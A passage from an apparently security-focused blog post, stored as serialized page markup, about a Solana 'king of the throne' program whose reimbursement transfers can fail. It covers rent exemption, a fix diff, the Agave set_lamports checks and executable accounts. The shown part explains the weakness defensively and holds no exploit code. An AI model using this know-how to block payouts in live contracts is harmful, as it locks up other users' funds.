pre_lamports\n",{"type":23,"tag":504,"props":71583,"children":71584},{"class":506,"line":1302},[71585],{"type":23,"tag":504,"props":71586,"children":71587},{"style":523},[71588],{"type":28,"value":1705},{"type":23,"tag":504,"props":71590,"children":71591},{"class":506,"line":1311},[71592],{"type":23,"tag":504,"props":71593,"children":71594},{"style":523},[71595],{"type":28,"value":1714},{"type":23,"tag":504,"props":71597,"children":71598},{"class":506,"line":1334},[71599],{"type":23,"tag":504,"props":71600,"children":71601},{"style":523},[71602],{"type":28,"value":1282},{"type":23,"tag":504,"props":71604,"children":71605},{"class":506,"line":1370},[71606],{"type":23,"tag":504,"props":71607,"children":71608},{"style":523},[71609],{"type":28,"value":1291},{"type":23,"tag":504,"props":71611,"children":71612},{"class":506,"line":1384},[71613],{"type":23,"tag":504,"props":71614,"children":71615},{"style":523},[71616],{"type":28,"value":875},{"type":23,"tag":24,"props":71618,"children":71619},{},[71620],{"type":28,"value":71621},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":494,"props":71623,"children":71625},{"className":3224,"code":71624,"language":3223,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[71626],{"type":23,"tag":56,"props":71627,"children":71628},{"__ignoreMap":7},[71629,71645],{"type":23,"tag":504,"props":71630,"children":71631},{"class":506,"line":507},[71632,71636,71641],{"type":23,"tag":504,"props":71633,"children":71634},{"style":517},[71635],{"type":28,"value":1855},{"type":23,"tag":504,"props":71637,"children":71638},{"style":622},[71639],{"type":28,"value":71640}," rent",{"type":23,"tag":504,"props":71642,"children":71643},{"style":1440},[71644],{"type":28,"value":23258},{"type":23,"tag":504,"props":71646,"children":71647},{"class":506,"line":540},[71648,71653,71658,71663],{"type":23,"tag":504,"props":71649,"children":71650},{"style":517},[71651],{"type":28,"value":71652},"Rent-exempt",{"type":23,"tag":504,"props":71654,"children":71655},{"style":622},[71656],{"type":28,"value":71657}," minimum:",{"type":23,"tag":504,"props":71659,"children":71660},{"style":1440},[71661],{"type":28,"value":71662}," 0.00089088",{"type":23,"tag":504,"props":71664,"children":71665},{"style":622},[71666],{"type":28,"value":71667}," SOL\n",{"type":23,"tag":17874,"props":71669,"children":71671},{"id":71670},"fix-1-only-reimburse-if-rent-exempt",[71672],{"type":28,"value":71673},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":71675,"children":71676},{},[71677],{"type":28,"value":71678},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":494,"props":71680,"children":71682},{"className":39334,"code":71681,"language":39336,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[71683],{"type":23,"tag":56,"props":71684,"children":71685},{"__ignoreMap":7},[71686,71694,71702,71710,71718,71726,71734,71742,71750,71758],{"type":23,"tag":504,"props":71687,"children":71688},{"class":506,"line":507},[71689],{"type":23,"tag":504,"props":71690,"children":71691},{"style":523},[71692],{"type":28,"value":71693},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":504,"props":71695,"children":71696},{"class":506,"line":540},[71697],{"type":23,"tag":504,"props":71698,"children":71699},{"style":1440},[71700],{"type":28,"value":71701},"+let rent = Rent::get()?;\n",{"type":23,"tag":504,"props":71703,"children":71704},{"class":506,"line":555},[71705],{"type":23,"tag":504,"props":71706,"children":71707},{"style":1440},[71708],{"type":28,"value":71709},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":504,"props":71711,"children":71712},{"class":506,"line":633},[71713],{"type":23,"tag":504,"props":71714,"children":71715},{"style":1440},[71716],{"type":28,"value":71717},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":504,"props":71719,"children":71720},{"class":506,"line":687},[71721],{"type":23,"tag":504,"props":71722,"children":71723},{"style":523},[71724],{"type":28,"value":71725},"    transfer_from_pda(\n",{"type":23,"tag":504,"props":71727,"children":71728},{"class":506,"line":736},[71729],{"type":23,"tag":504,"props":71730,"children":71731},{"style":523},[71732],{"type":28,"value":71733},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":504,"props":71735,"children":71736},{"class":506,"line":785},[71737],{"type":23,"tag":504,"props":71738,"children":71739},{"style":523},[71740],{"type":28,"value":71741},"        &ctx.accounts.old_king,\n",{"type":23,"tag":504,"props":71743,"children":71744},{"class":506,"line":813},[71745],{"type":23,"tag":504,"props":71746,"children":71747},{"style":523},[71748],{"type":28,"value":71749},"        to_reimburse,\n",{"type":23,"tag":504,"props":71751,"children":71752},{"class":506,"line":851},[71753],{"type":23,"tag":504,"props":71754,"children":71755},{"style":523},[71756],{"type":28,"value":71757},"    )?;\n",{"type":23,"tag":504,"props":71759,"children":71760},{"class":506,"line":869},[71761],{"type":23,"tag":504,"props":71762,"children":71763},{"style":1440},[71764],{"type":28,"value":71765},"+}\n",{"type":23,"tag":24,"props":71767,"children":71768},{},[71769],{"type":28,"value":71770},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":82,"props":71772,"children":71774},{"id":71773},"bug-2-writable-but-untouchable-set_lamports-fails",[71775,71777,71783],{"type":28,"value":71776},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":56,"props":71778,"children":71780},{"className":71779},[],[71781],{"type":28,"value":71782},"set_lamports",{"type":28,"value":71784}," Fails",{"type":23,"tag":24,"props":71786,"children":71787},{},[71788,71790,71797],{"type":28,"value":71789},"Let's look at ",{"type":23,"tag":92,"props":71791,"children":71794},{"href":71792,"rel":71793},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[96],[71795],{"type":28,"value":71796},"BorrowedAccount::set_lamports",{"type":28,"value":320},{"type":23,"tag":494,"props":71799,"children":71801},{"className":1957,"code":71800,"language":1956,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[71802],{"type":23,"tag":56,"props":71803,"children":71804},{"__ignoreMap":7},[71805,71813,71834,71906,71914,71973,72005,72012,72020,72048,72080,72087,72095,72119,72151,72158,72166,72201,72217,72224,72252,72287,72298,72305,72312,72320,72339,72347,72387,72399,72411,72423,72454],{"type":23,"tag":504,"props":71806,"children":71807},{"class":506,"line":507},[71808],{"type":23,"tag":504,"props":71809,"children":71810},{"style":1106},[71811],{"type":28,"value":71812},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":504,"props":71814,"children":71815},{"class":506,"line":540},[71816,71821,71825,71830],{"type":23,"tag":504,"props":71817,"children":71818},{"style":523},[71819],{"type":28,"value":71820},"#[cfg(not(target_os ",{"type":23,"tag":504,"props":71822,"children":71823},{"style":598},[71824],{"type":28,"value":601},{"type":23,"tag":504,"props":71826,"children":71827},{"style":622},[71828],{"type":28,"value":71829}," \"solana\"",{"type":23,"tag":504,"props":71831,"children":71832},{"style":523},[71833],{"type":28,"value":19590},{"type":23,"tag":504,"props":71835,"children":71836},{"class":506,"line":555},[71837,71841,71845,71850,71854,71858,71862,71866,71870,71874,71878,71882,71886,71890,71894,71898,71902],{"type":23,"tag":504,"props":71838,"children":71839},{"style":511},[71840],{"type":28,"value":12671},{"type":23,"tag":504,"props":71842,"children":71843},{"style":511},[71844],{"type":28,"value":12676},{"type":23,"tag":504,"props":71846,"children":71847},{"style":517},[71848],{"type":28,"value":71849}," set_lamports",{"type":23,"tag":504,"props":71851,"children":71852},{"style":523},[71853],{"type":28,"value":526},{"type":23,"tag":504,"props":71855,"children":71856},{"style":598},[71857],{"type":28,"value":2086},{"type":23,"tag":504,"props":71859,"children":71860},{"style":511},[71861],{"type":28,"value":2701},{"type":23,"tag":504,"props":71863,"children":71864},{"style":511},[71865],{"type":28,"value":12778},{"type":23,"tag":504,"props":71867,"children":71868},{"style":523},[71869],{"type":28,"value":576},{"type":23,"tag":504,"props":71871,"children":71872},{"style":529},[71873],{"type":28,"value":14492},{"type":23,"tag":504,"props":71875,"children":71876},{"style":598},[71877],{"type":28,"value":3472},{"type":23,"tag":504,"props":71879,"children":71880},{"style":1012},[71881],{"type":28,"value":4843},{"type":23,"tag":504,"props":71883,"children":71884},{"style":523},[71885],{"type":28,"value":2064},{"type":23,"tag":504,"props":71887,"children":71888},{"style":598},[71889],{"type":28,"value":12738},{"type":23,"tag":504,"props":71891,"children":71892},{"style":1012},[71893],{"type":28,"value":12743},{"type":23,"tag":504,"props":71895,"children":71896},{"style":523},[71897],{"type":28,"value":12748},{"type":23,"tag":504,"props":71899,"children":71900},{"style":1012},[71901],{"type":28,"value":14737},{"type":23,"tag":504,"props":71903,"children":71904},{"style":523},[71905],{"type":28,"value":6264},{"type":23,"tag":504,"props":71907,"children":71908},{"class":506,"line":633},[71909],{"type":23,"tag":504,"props":71910,"children":71911},{"style":1106},[71912],{"type":28,"value":71913},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":504,"props":71915,"children":71916},{"class":506,"line":687},[71917,71921,71925,71929,71933,71938,71942,71947,71952,71956,71960,71964,71969],{"type":23,"tag":504,"props":71918,"children":71919},{"style":544},[71920],{"type":28,"value":11261},{"type":23,"tag":504,"props":71922,"children":71923},{"style":598},[71924],{"type":28,"value":11845},{"type":23,"tag":504,"props":71926,"children":71927},{"style":511},[71928],{"type":28,"value":12694},{"type":23,"tag":504,"props":71930,"children":71931},{"style":598},[71932],{"type":28,"value":320},{"type":23,"tag":504,"props":71934,"children":71935},{"style":517},[71936],{"type":28,"value":71937},"is_owned_by_current_program",{"type":23,"tag":504,"props":71939,"children":71940},{"style":523},[71941],{"type":28,"value":13024},{"type":23,"tag":504,"props":71943,"children":71944},{"style":598},[71945],{"type":28,"value":71946},"&&",{"type":23,"tag":504,"props":71948,"children":71949},{"style":529},[71950],{"type":28,"value":71951}," lamports",{"type":23,"tag":504,"props":71953,"children":71954},{"style":598},[71955],{"type":28,"value":7702},{"type":23,"tag":504,"props":71957,"children":71958},{"style":511},[71959],{"type":28,"value":12778},{"type":23,"tag":504,"props":71961,"children":71962},{"style":598},[71963],{"type":28,"value":320},{"type":23,"tag":504,"props":71965,"children":71966},{"style":517},[71967],{"type":28,"value":71968},"get_lamports",{"type":23,"tag":504,"props":71970,"children":71971},{"style":523},[71972],{"type":28,"value":1030},{"type":23,"tag":504,"props":71974,"children":71975},{"class":506,"line":736},[71976,71980,71984,71988,71992,71996,72001],{"type":23,"tag":504,"props":71977,"children":71978},{"style":544},[71979],{"type":28,"value":742},{"type":23,"tag":504,"props":71981,"children":71982},{"style":1012},[71983],{"type":28,"value":14728},{"type":23,"tag":504,"props":71985,"children":71986},{"style":523},[71987],{"type":28,"value":526},{"type":23,"tag":504,"props":71989,"children":71990},{"style":1012},[71991],{"type":28,"value":14737},{"type":23,"tag":504,"props":71993,"children":71994},{"style":598},[71995],{"type":28,"value":2457},{"type":23,"tag":504,"props":71997,"children":71998},{"style":1012},[71999],{"type":28,"value":72000},"ExternalAccountLamportSpend",{"type":23,"tag":504,"props":72002,"children":72003},{"style":523},[72004],{"type":28,"value":630},{"type":23,"tag":504,"props":72006,"children":72007},{"class":506,"line":785},[72008],{"type":23,"tag":504,"props":72009,"children":72010},{"style":523},[72011],{"type":28,"value":875},{"type":23,"tag":504,"props":72013,"children":72014},{"class":506,"line":813},[72015],{"type":23,"tag":504,"props":72016,"children":72017},{"style":1106},[72018],{"type":28,"value":72019},"    // The balance of read-only may not change\n",{"type":23,"tag":504,"props":72021,"children":72022},{"class":506,"line":851},[72023,72027,72031,72035,72039,72044],{"type":23,"tag":504,"props":72024,"children":72025},{"style":544},[72026],{"type":28,"value":11261},{"type":23,"tag":504,"props":72028,"children":72029},{"style":598},[72030],{"type":28,"value":11845},{"type":23,"tag":504,"props":72032,"children":72033},{"style":511},[72034],{"type":28,"value":12694},{"type":23,"tag":504,"props":72036,"children":72037},{"style":598},[72038],{"type":28,"value":320},{"type":23,"tag":504,"props":72040,"children":72041},{"style":517},[72042],{"type":28,"value":72043},"is_writable",{"type":23,"tag":504,"props":72045,"children":72046},{"style":523},[72047],{"type":28,"value":1030},{"type":23,"tag":504,"props":72049,"children":72050},{"class":506,"line":869},[72051,72055,72059,72063,72067,72071,72076],{"type":23,"tag":504,"props":72052,"children":72053},{"style":544},[72054],{"type":28,"value":742},{"type":23,"tag":504,"props":72056,"children":72057},{"style":1012},[72058],{"type":28,"value":14728},{"type":23,"tag":504,"props":72060,"children":72061},{"style":523},[72062],{"type":28,"value":526},{"type":23,"tag":504,"props":72064,"children":72065},{"style":1012},[72066],{"type":28,"value":14737},{"type":23,"tag":504,"props":72068,"children":72069},{"style":598},[72070],{"type":28,"value":2457},{"type":23,"tag":504,"props":72072,"children":72073},{"style":1012},[72074],{"type":28,"value":72075},"ReadonlyLamportChange",{"type":23,"tag":504,"props":72077,"children":72078},{"style":523},[72079],{"type":28,"value":630},{"type":23,"tag":504,"props":72081,"children":72082},{"class":506,"line":878},[72083],{"type":23,"tag":504,"props":72084,"children":72085},{"style":523},[72086],{"type":28,"value":875},{"type":23,"tag":504,"props":72088,"children":72089},{"class":506,"line":1221},[72090],{"type":23,"tag":504,"props":72091,"children":72092},{"style":1106},[72093],{"type":28,"value":72094},"    // The balance of executable accounts may not change\n",{"type":23,"tag":504,"props":72096,"children":72097},{"class":506,"line":1276},[72098,72102,72106,72110,72115],{"type":23,"tag":504,"props":72099,"children":72100},{"style":544},[72101],{"type":28,"value":11261},{"type":23,"tag":504,"props":72103,"children":72104},{"style":511},[72105],{"type":28,"value":12778},{"type":23,"tag":504,"props":72107,"children":72108},{"style":598},[72109],{"type":28,"value":320},{"type":23,"tag":504,"props":72111,"children":72112},{"style":517},[72113],{"type":28,"value":72114},"is_executable_internal",{"type":23,"tag":504,"props":72116,"children":72117},{"style":523},[72118],{"type":28,"value":1030},{"type":23,"tag":504,"props":72120,"children":72121},{"class":506,"line":1285},[72122,72126,72130,72134,72138,72142,72147],{"type":23,"tag":504,"props":72123,"children":72124},{"style":544},[72125],{"type":28,"value":742},{"type":23,"tag":504,"props":72127,"children":72128},{"style":1012},[72129],{"type":28,"value":14728},{"type":23,"tag":504,"props":72131,"children":72132},{"style":523},[72133],{"type":28,"value":526},{"type":23,"tag":504,"props":72135,"children":72136},{"style":1012},[72137],{"type":28,"value":14737},{"type":23,"tag":504,"props":72139,"children":72140},{"style":598},[72141],{"type":28,"value":2457},{"type":23,"tag":504,"props":72143,"children":72144},{"style":1012},[72145],{"type":28,"value":72146},"ExecutableLamportChange",{"type":23,"tag":504,"props":72148,"children":72149},{"style":523},[72150],{"type":28,"value":630},{"type":23,"tag":504,"props":72152,"children":72153},{"class":506,"line":1294},[72154],{"type":23,"tag":504,"props":72155,"children":72156},{"style":523},[72157],{"type":28,"value":875},{"type":23,"tag":504,"props":72159,"children":72160},{"class":506,"line":1302},[72161],{"type":23,"tag":504,"props":72162,"children":72163},{"style":1106},[72164],{"type":28,"value":72165},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":504,"props":72167,"children":72168},{"class":506,"line":1311},[72169,72173,72177,72181,72185,72189,72193,72197],{"type":23,"tag":504,"props":72170,"children":72171},{"style":544},[72172],{"type":28,"value":11261},{"type":23,"tag":504,"props":72174,"children":72175},{"style":511},[72176],{"type":28,"value":12778},{"type":23,"tag":504,"props":72178,"children":72179},{"style":598},[72180],{"type":28,"value":320},{"type":23,"tag":504,"props":72182,"children":72183},{"style":517},[72184],{"type":28,"value":71968},{"type":23,"tag":504,"props":72186,"children":72187},{"style":523},[72188],{"type":28,"value":13024},{"type":23,"tag":504,"props":72190,"children":72191},{"style":598},[72192],{"type":28,"value":7559},{"type":23,"tag":504,"props":72194,"children":72195},{"style":529},[72196],{"type":28,"value":71951},{"type":23,"tag":504,"props":72198,"children":72199},{"style":523},[72200],{"type":28,"value":552},{"type":23,"tag":504,"props":72202,"children":72203},{"class":506,"line":1334},[72204,72208,72212],{"type":23,"tag":504,"props":72205,"children":72206},{"style":544},[72207],{"type":28,"value":742},{"type":23,"tag":504,"props":72209,"children":72210},{"style":1012},[72211],{"type":28,"value":41912},{"type":23,"tag":504,"props":72213,"children":72214},{"style":523},[72215],{"type":28,"value":72216},"(());\n",{"type":23,"tag":504,"props":72218,"children":72219},{"class":506,"line":1370},[72220],{"type":23,"tag":504,"props":72221,"children":72222},{"style":523},[72223],{"type":28,"value":875},{"type":23,"tag":504,"props":72225,"children":72226},{"class":506,"line":1384},[72227,72231,72235,72240,72244,72248],{"type":23,"tag":504,"props":72228,"children":72229},{"style":511},[72230],{"type":28,"value":19767},{"type":23,"tag":504,"props":72232,"children":72233},{"style":598},[72234],{"type":28,"value":320},{"type":23,"tag":504,"props":72236,"children":72237},{"style":517},[72238],{"type":28,"value":72239},"touch",{"type":23,"tag":504,"props":72241,"children":72242},{"style":523},[72243],{"type":28,"value":12860},{"type":23,"tag":504,"props":72245,"children":72246},{"style":598},[72247],{"type":28,"value":2133},{"type":23,"tag":504,"props":72249,"children":72250},{"style":523},[72251],{"type":28,"value":866},{"type":23,"tag":504,"props":72253,"children":72254},{"class":506,"line":1392},[72255,72259,72263,72267,72271,72275,72279,72283],{"type":23,"tag":504,"props":72256,"children":72257},{"style":511},[72258],{"type":28,"value":19767},{"type":23,"tag":504,"props":72260,"children":72261},{"style":598},[72262],{"type":28,"value":320},{"type":23,"tag":504,"props":72264,"children":72265},{"style":523},[72266],{"type":28,"value":11934},{"type":23,"tag":504,"props":72268,"children":72269},{"style":598},[72270],{"type":28,"value":320},{"type":23,"tag":504,"props":72272,"children":72273},{"style":517},[72274],{"type":28,"value":71782},{"type":23,"tag":504,"props":72276,"children":72277},{"style":523},[72278],{"type":28,"value":526},{"type":23,"tag":504,"props":72280,"children":72281},{"style":529},[72282],{"type":28,"value":14492},{"type":23,"tag":504,"props":72284,"children":72285},{"style":523},[72286],{"type":28,"value":630},{"type":23,"tag":504,"props":72288,"children":72289},{"class":506,"line":1400},[72290,72294],{"type":23,"tag":504,"props":72291,"children":72292},{"style":1012},[72293],{"type":28,"value":13314},{"type":23,"tag":504,"props":72295,"children":72296},{"style":523},[72297],{"type":28,"value":13319},{"type":23,"tag":504,"props":72299,"children":72300},{"class":506,"line":1422},[72301],{"type":23,"tag":504,"props":72302,"children":72303},{"style":523},[72304],{"type":28,"value":884},{"type":23,"tag":504,"props":72306,"children":72307},{"class":506,"line":1450},[72308],{"type":23,"tag":504,"props":72309,"children":72310},{"emptyLinePlaceholder":16},[72311],{"type":28,"value":1038},{"type":23,"tag":504,"props":72313,"children":72314},{"class":506,"line":1463},[72315],{"type":23,"tag":504,"props":72316,"children":72317},{"style":1106},[72318],{"type":28,"value":72319},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":504,"props":72321,"children":72322},{"class":506,"line":1485},[72323,72327,72331,72335],{"type":23,"tag":504,"props":72324,"children":72325},{"style":523},[72326],{"type":28,"value":71820},{"type":23,"tag":504,"props":72328,"children":72329},{"style":598},[72330],{"type":28,"value":601},{"type":23,"tag":504,"props":72332,"children":72333},{"style":622},[72334],{"type":28,"value":71829},{"type":23,"tag":504,"props":72336,"children":72337},{"style":523},[72338],{"type":28,"value":19590},{"type":23,"tag":504,"props":72340,"children":72341},{"class":506,"line":1503},[72342],{"type":23,"tag":504,"props":72343,"children":72344},{"style":523},[72345],{"type":28,"value":72346},"#[inline]\n",{"type":23,"tag":504,"props":72348,"children":72349},{"class":506,"line":1516},[72350,72354,72359,72363,72367,72371,72375,72379,72383],{"type":23,"tag":504,"props":72351,"children":72352},{"style":511},[72353],{"type":28,"value":19248},{"type":23,"tag":504,"props":72355,"children":72356},{"style":517},[72357],{"type":28,"value":72358}," is_executable_internal",{"type":23,"tag":504,"props":72360,"children":72361},{"style":523},[72362],{"type":28,"value":526},{"type":23,"tag":504,"props":72364,"children":72365},{"style":598},[72366],{"type":28,"value":2086},{"type":23,"tag":504,"props":72368,"children":72369},{"style":511},[72370],{"type":28,"value":12694},{"type":23,"tag":504,"props":72372,"children":72373},{"style":523},[72374],{"type":28,"value":2064},{"type":23,"tag":504,"props":72376,"children":72377},{"style":598},[72378],{"type":28,"value":12738},{"type":23,"tag":504,"props":72380,"children":72381},{"style":1012},[72382],{"type":28,"value":11032},{"type":23,"tag":504,"props":72384,"children":72385},{"style":523},[72386],{"type":28,"value":552},{"type":23,"tag":504,"props":72388,"children":72389},{"class":506,"line":1543},[72390,72394],{"type":23,"tag":504,"props":72391,"children":72392},{"style":598},[72393],{"type":28,"value":19951},{"type":23,"tag":504,"props":72395,"children":72396},{"style":511},[72397],{"type":28,"value":72398},"self\n",{"type":23,"tag":504,"props":72400,"children":72401},{"class":506,"line":1583},[72402,72406],{"type":23,"tag":504,"props":72403,"children":72404},{"style":598},[72405],{"type":28,"value":67240},{"type":23,"tag":504,"props":72407,"children":72408},{"style":523},[72409],{"type":28,"value":72410},"transaction_context\n",{"type":23,"tag":504,"props":72412,"children":72413},{"class":506,"line":1605},[72414,72418],{"type":23,"tag":504,"props":72415,"children":72416},{"style":598},[72417],{"type":28,"value":67240},{"type":23,"tag":504,"props":72419,"children":72420},{"style":523},[72421],{"type":28,"value":72422},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":504,"props":72424,"children":72425},{"class":506,"line":1614},[72426,72430,72434,72438,72442,72446,72450],{"type":23,"tag":504,"props":72427,"children":72428},{"style":598},[72429],{"type":28,"value":41776},{"type":23,"tag":504,"props":72431,"children":72432},{"style":511},[72433],{"type":28,"value":12778},{"type":23,"tag":504,"props":72435,"children":72436},{"style":598},[72437],{"type":28,"value":320},{"type":23,"tag":504,"props":72439,"children":72440},{"style":523},[72441],{"type":28,"value":11934},{"type":23,"tag":504,"props":72443,"children":72444},{"style":598},[72445],{"type":28,"value":320},{"type":23,"tag":504,"props":72447,"children":72448},{"style":517},[72449],{"type":28,"value":14636},{"type":23,"tag":504,"props":72451,"children":72452},{"style":523},[72453],{"type":28,"value":1156},{"type":23,"tag":504,"props":72455,"children":72456},{"class":506,"line":1627},[72457],{"type":23,"tag":504,"props":72458,"children":72459},{"style":523},[72460],{"type":28,"value":884},{"type":23,"tag":24,"props":72462,"children":72463},{},[72464],{"type":28,"value":72465},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":72467,"children":72468},{},[72469,72471,72476],{"type":28,"value":72470},"Specifically, ",{"type":23,"tag":296,"props":72472,"children":72473},{},[72474],{"type":28,"value":72475},"executable accounts",{"type":28,"value":72477}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":17874,"props":72479,"children":72481},{"id":72480},"sidebar-whats-the-executable-flag-anyway",[72482],{"type":28,"value":72483},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":72485,"children":72486},{},[72487,72488,72493],{"type":28,"value":15592},{"type":23,"tag":56,"props":72489,"children":72491},{"className":72490},[],[72492],{"type":28,"value":14636},{"type":28,"value":72494}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":72496,"children":72497},{},[72498,72500,72505],{"type":28,"value":72499},"This behavior became problematic with the introduction of the ",{"type":23,"tag":296,"props":72501,"children":72502},{},[72503],{"type":28,"value":72504},"Upgradeable BPF Loader",{"type":28,"value":72506},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":494,"props":72508,"children":72510},{"className":1957,"code":72509,"language":1956,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[72511],{"type":23,"tag":56,"props":72512,"children":72513},{"__ignoreMap":7},[72514,72526,72534,72554,72562,72574,72582,72602,72610,72638,72646,72654],{"type":23,"tag":504,"props":72515,"children":72516},{"class":506,"line":507},[72517,72522],{"type":23,"tag":504,"props":72518,"children":72519},{"style":1012},[72520],{"type":28,"value":72521},"Program",{"type":23,"tag":504,"props":72523,"children":72524},{"style":523},[72525],{"type":28,"value":552},{"type":23,"tag":504,"props":72527,"children":72528},{"class":506,"line":540},[72529],{"type":23,"tag":504,"props":72530,"children":72531},{"style":1106},[72532],{"type":28,"value":72533},"    /// Address of the ProgramData account.\n",{"type":23,"tag":504,"props":72535,"children":72536},{"class":506,"line":555},[72537,72542,72546,72550],{"type":23,"tag":504,"props":72538,"children":72539},{"style":529},[72540],{"type":28,"value":72541},"    programdata_address",{"type":23,"tag":504,"props":72543,"children":72544},{"style":598},[72545],{"type":28,"value":3472},{"type":23,"tag":504,"props":72547,"children":72548},{"style":1012},[72549],{"type":28,"value":19838},{"type":23,"tag":504,"props":72551,"children":72552},{"style":523},[72553],{"type":28,"value":2484},{"type":23,"tag":504,"props":72555,"children":72556},{"class":506,"line":633},[72557],{"type":23,"tag":504,"props":72558,"children":72559},{"style":523},[72560],{"type":28,"value":72561},"},\n",{"type":23,"tag":504,"props":72563,"children":72564},{"class":506,"line":687},[72565,72570],{"type":23,"tag":504,"props":72566,"children":72567},{"style":1012},[72568],{"type":28,"value":72569},"ProgramData",{"type":23,"tag":504,"props":72571,"children":72572},{"style":523},[72573],{"type":28,"value":552},{"type":23,"tag":504,"props":72575,"children":72576},{"class":506,"line":736},[72577],{"type":23,"tag":504,"props":72578,"children":72579},{"style":1106},[72580],{"type":28,"value":72581},"    /// Slot that the program was last modified.\n",{"type":23,"tag":504,"props":72583,"children":72584},{"class":506,"line":785},[72585,72590,72594,72598],{"type":23,"tag":504,"props":72586,"children":72587},{"style":529},[72588],{"type":28,"value":72589},"    slot",{"type":23,"tag":504,"props":72591,"children":72592},{"style":598},[72593],{"type":28,"value":3472},{"type":23,"tag":504,"props":72595,"children":72596},{"style":1012},[72597],{"type":28,"value":4843},{"type":23,"tag":504,"props":72599,"children":72600},{"style":523},[72601],{"type":28,"value":2484},{"type":23,"tag":504,"props":72603,"children":72604},{"class":506,"line":813},[72605],{"type":23,"tag":504,"props":72606,"children":72607},{"style":1106},[72608],{"type":28,"value":72609},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":504,"props":72611,"children":72612},{"class":506,"line":851},[72613,72618,72622,72626,72630,72634],{"type":23,"tag":504,"props":72614,"children":72615},{"style":529},[72616],{"type":28,"value":72617},"    upgrade_authority_address",{"type":23,"tag":504,"props":72619,"children":72620},{"style":598},[72621],{"type":28,"value":3472},{"type":23,"tag":504,"props":72623,"children":72624},{"style":1012},[72625],{"type":28,"value":26626},{"type":23,"tag":504,"props":72627,"children":72628},{"style":523},[72629],{"type":28,"value":4789},{"type":23,"tag":504,"props":72631,"children":72632},{"style":1012},[72633],{"type":28,"value":20379},{"type":23,"tag":504,"props":72635,"children":72636},{"style":523},[72637],{"type":28,"value":5122},{"type":23,"tag":504,"props":72639,"children":72640},{"class":506,"line":869},[72641],{"type":23,"tag":504,"props":72642,"children":72643},{"style":1106},[72644],{"type":28,"value":72645},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":504,"props":72647,"children":72648},{"class":506,"line":878},[72649],{"type":23,"tag":504,"props":72650,"children":72651},{"style":1106},[72652],{"type":28,"value":72653},"    // account's data.\n",{"type":23,"tag":504,"props":72655,"children":72656},{"class":506,"line":1221},[72657],{"type":23,"tag":504,"props":72658,"children":72659},{"style":523},[72660],{"type":28,"value":72561},{"type":23,"tag":24,"props":72662,"children":72663},{},[72664,72666,72673],{"type":28,"value":72665},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":92,"props":72667,"children":72670},{"href":72668,"rel":72669},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[96],[72671],{"type":28,"value":72672},"SIMD-0162",{"type":28,"value":72674},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":72676,"children":72677},{},[72678,72680,72685,72687,72692],{"type":28,"value":72679},"This change is also a ",{"type":23,"tag":296,"props":72681,"children":72682},{},[72683],{"type":28,"value":72684},"hard requirement for supporting the new 